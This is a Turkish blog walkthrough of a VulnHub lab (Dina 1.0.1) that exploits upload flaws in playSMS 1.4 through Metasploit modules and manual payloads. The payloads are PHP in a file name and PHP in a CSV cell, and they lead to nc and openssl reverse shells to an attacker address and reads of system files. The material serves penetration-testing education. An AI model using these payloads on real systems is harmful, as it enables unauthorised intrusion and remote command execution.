playSMS 1.4 Üzerinde Phonebook ve Sendmail Modüllerinin İstismar Edilerek Komut Satırı Erişiminin Elde Edilmesi

0
128
views
Web uygulamaları sızma testleri sırasında hedef uygulama üzerindeki bir kontrol eksikliği zafiyeti sebebi ile işletim sistemi üzerinde komut çalıştırılabilir. Bu yazıda, Dina: 1.0.1 sanal makinesinde çalışan playSMS 1.4 sürümündeki zafiyetler istismar edilerek, ters bağlantı erişimi elde edilecektir.

Yazıda kullanılan Dina: 1.0.1 sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/dina-101,200/

playSMS, açık kaynak kodlu SMS yönetimi uygulamasıdır. Sanal makinede kurulu bu uygulamada oturum açabilmek için kullanılabilecek kimlik bilgileri aşağıdaki gibidir.

  • Kullanıcı Adı: touhid
  • Parola: diana

 

playSMS 1.4 sürümünde import.php ve sendfromfile.php adlı PHP dosyaları için 2 adet zafiyet bulunmaktadır.

  • web\plugin\feature\sendfromfile\sendfromfile.php” adlı eklenti ile dosya yüklemesi gerçekleştirilebilmektedir. Dosya adının kontrol edilmeden işlenmesi sebebi ile uzaktan komut çalıştırma zafiyeti gerçekleştirilebilir. Zafiyet “My Account > Send from file” adımları ile gelen ekranda bulunmaktadır.

http://192.168.106.130/SecreTSMSgatwayLogin/index.php?app=main&inc=feature_sendfromfile&op=list

 

  • web\plugin\feature\phonebook\import.php” adlı eklenti ile dosya yüklemesi gerçekleştirilebilmektedir. CSV uzantılı dosyanın içeriğinin kontrol edilmeden işlenmesi sebebi ile uzaktan komut çalıştırma zafiyeti gerçekleştirilebilir. Zafiyet “My Account > Phonebook” adımları ile gelen ekranda bulunmaktadır.

 

Bu zafiyetler otomatik (MSF kullanılarak) ve manuel olarak aşağıdaki yöntemler kullanılarak istismar edilebilir.

  • MSF ile otomatik istismar işlemi için playsms_filename_exec ve playsms_uploadcsv_exec istismar modülleri kullanılabilir.

 

  • Manuel istismar işlemi için Exploit-DB veya Searchploit üzerindeki 42003 ve 42044 ID’li istismar kodları kullanılabilir.

 

1) MSF playsms_filename_exec Modülü İle sendfromfile Eklentisinin İstismarı

MSF playsms_filename_exec istismar modülü kullanılarak sendfromfile.php eklentisindeki zafiyet istismar edilebilir.

use exploit/multi/http/playsms_filename_exec
set TARGETURI /SecreTSMSgatwayLogin
set RHOST 192.168.106.130
set LHOST 192.168.106.128
set USERNAME touhid
set PASSWORD diana
exploit

getuid
shell
uname -a
cat /etc/*release*

 

Böylece uygulama kullanıcı yetkisi ile (www-data) ters bağlantı elde edilebilmiştir.

 

2) Manuel Olarak sendfromfile Eklentisinin İstismarı

PlaySMS 1.4 – ‘/sendfromfile.php’ Remote Code Execution / Unrestricted File Upload” isimli ve 42003 ID’li istismar adımları uygulanarak sendfromfile.php eklentisindeki zafiyet istismar edilebilir. Bu amaçla adında PHP kodu barındıran bir php dosyası oluşturulup hedef sisteme yüklenebilir.

touch “<?php system(‘uname -a’); dia();?>.php”

 

Yükleme sonucunda dosya adı sunucu tarafında çalışıp, sonucu ekrana basılmaktadır.

 

Not: PHP payload’u içerisinde çalıştırılacak komut içerisinde “/” gibi özel bir karakter bulunduğunda bu karakterler sunucuya kodlanarak iletildiği için chr(47) şekline manuel olarak dönüştürülmesi gerekir. Ancak bu işlem meşakatli olduğu için base64 formuna çevrilerek hedef sistemde komut çalıştırılması daha kolay olacaktır.

Ters bağlantı almak için bir komut hazırlanırsa da komut satırı erişimi elde edilebilir.

CalisacakKomut=echo "rm -f /tmp/f; mkfifo /tmp/f && cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.106.128 1111 > /tmp/f 2>&1" | base64
touch “<?php system(base64_decode(‘$CalisacakKomut’)); dia();?>.php”

 

Bu amaçla dinleyici başlatılır. Oluşturulan dosya yüklendiğinde ters bağlantı elde edilir.

nc -nlvp 1111
cat /etc/passwd

 

3) MSF playsms_uploadcsv_exec Modülü İle Phonebook Eklentisinin İstismarı

MSF playsms_uploadcsv_exec istismar modülü kullanılarak import.php eklentisindeki zafiyet istismar edilebilir.

use exploit/multi/http/playsms_uploadcsv_exec
set TARGETURI /SecreTSMSgatwayLogin
set RHOST 192.168.106.130
set LHOST 192.168.106.128
set USERNAME touhid
set PASSWORD diana
exploit

pwd
shell
hostname
ls

 

Böylece uygulama kullanıcı yetkisi ile (www-data) ters bağlantı elde edilebilmiştir.

Not: /tmp/ dizini incelendiğinde “php” ile başlayan bir dosyanın oluştuğu görülmektedir.

ls -la /tmp/phpfzvSur
cat /tmp/phpfzvSur

 

4) Manuel Olarak Phonebook Eklentisinin İstismarı

PlaySMS 1.4 – ‘import.php’ Remote Code Execution” isimli ve 42044 ID’li istismar adımları uygulanarak import.php eklentisindeki zafiyet istismar edilebilir. Bu amaçla içerisinde PHP kodu barındıran bir CSV dosyası oluşturulup hedef sisteme yüklenebilir.

Name,Email,Department
<?php system(‘cat /etc/group’); dia();?>,2,3

 

Yükleme sonucunda “Name” ile belirtilen hücreye yazılan PHP komutu çalışıp, sonucu ekrana basmaktadır.

 

openssl aracı ile ters bağlantı almak için bir komut hazırlanırsa da komut satırı erişimi elde edilebilir. Bu amaçla sunucu tarafında sertifika (bilgileri rastgele verilmiştir) oluşturulur ve bir dinleyici başlatılır.

openssl req -x509 -newkey rsa:4096 -keyout GizliAnahtar.pem -out Sertifika.pem -days 365 -nodes
openssl s_server -quiet -key GizliAnahtar.pem -cert Sertifika.pem -port 2222

 

CSV dosyası önceki örnekte olduğu gibi hazırlanır.

Name,Email,Department
<?php system(‘mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.106.128:2222 > /tmp/s; rm /tmp/s’); dia();?>,2,3

 

Bu dosya hedef sunucu yüklendiğinde ters komut satırı erişimi elde edildiği görülmektedir.

id

 

Kaynaklar:

https://www.rootnetsec.com/vulnhub-dina/

Dina 1.0.1 Walkthrough (VulnHub) by gr0mb1e


Dina Walkthrough
Dina 1.0 Walkthrough – Vulnhub
CTF Challenge! Dina 1.0.1
https://medium.com/@honze_net/vulnhub-dina-1-0-1-write-up-deutsch-c31c70cafb73

 

 

 

 

 

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz